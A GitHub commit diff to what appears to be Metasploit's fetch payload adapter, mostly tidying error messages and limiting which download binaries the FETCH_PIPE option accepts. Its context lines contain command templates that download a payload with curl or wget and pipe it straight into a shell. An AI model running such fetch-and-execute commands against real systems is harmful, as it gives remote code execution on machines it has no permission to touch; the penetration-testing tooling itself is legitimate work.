Skip to content

Commit 8cfcfa3

Browse files
committed
Add Spencer suggestions
1 parent d1c6a6e commit 8cfcfa3

File tree

3 files changed

+9
-8
lines changed

3 files changed

+9
-8
lines changed

lib/msf/core/payload/adapter/fetch.rb

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -88,8 +88,10 @@ def generate(opts = {})
8888
opts[:code] = super
8989
@srvexe = generate_payload_exe(opts)
9090
if datastore['FETCH_PIPE']
91-
unless %w[WGET CURL].include?(datastore['FETCH_COMMAND'].upcase)
92-
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected for FETCH_PIPE option')
91+
supported_binaries = %w[CURL]
92+
supported_binaries = %w[WGET CURL] if linux?
93+
unless supported_binaries.include?(datastore['FETCH_COMMAND'].upcase)
94+
fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be WGET or CURL.")
9395
end
9496
@pipe_cmd = generate_fetch_commands
9597
@pipe_cmd << "\n" if windows? #need CR when we pipe command in Windows
@@ -116,8 +118,7 @@ def generate_pipe_command
116118
when 'CURL'
117119
return _generate_curl_pipe
118120
else
119-
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected for FETCH_PIPE option')
120-
end
121+
fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be WGET or CURL.") end
121122
end
122123

123124
def generate_fetch_commands
@@ -325,7 +326,7 @@ def _generate_curl_pipe
325326
when 'TFTP'
326327
return "curl -s tftp://#{_download_pipe} | #{execute_cmd}"
327328
else
328-
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
329+
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
329330
end
330331
end
331332

@@ -397,7 +398,7 @@ def _generate_wget_pipe
397398
when 'HTTP'
398399
return "wget -qO - http://#{_download_pipe} | sh"
399400
else
400-
return nil
401+
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
401402
end
402403
end
403404

lib/msf/core/payload/adapter/fetch/http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ def cleanup_handler
2020

2121
def setup_handler
2222
unless datastore['FetchHandlerDisable']
23-
@fetch_service = start_http_fetch_handler(srvname) unless datastore['FetchHandlerDisable']
23+
@fetch_service = start_http_fetch_handler(srvname)
2424
escaped_uri = ('/' + srvuri).gsub('//', '/')
2525
add_resource(@fetch_service, escaped_uri, @srvexe)
2626
unless @pipe_uri.nil?

lib/msf/core/payload/adapter/fetch/https.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ def cleanup_handler
2020

2121
def setup_handler
2222
unless datastore['FetchHandlerDisable']
23-
@fetch_service = start_https_fetch_handler(srvname) unless datastore['FetchHandlerDisable']
23+
@fetch_service = start_https_fetch_handler(srvname)
2424
escaped_uri = ('/' + srvuri).gsub('//', '/')
2525
add_resource(@fetch_service, escaped_uri, @srvexe)
2626
unless @pipe_uri.nil?

0 commit comments

Comments
 (0)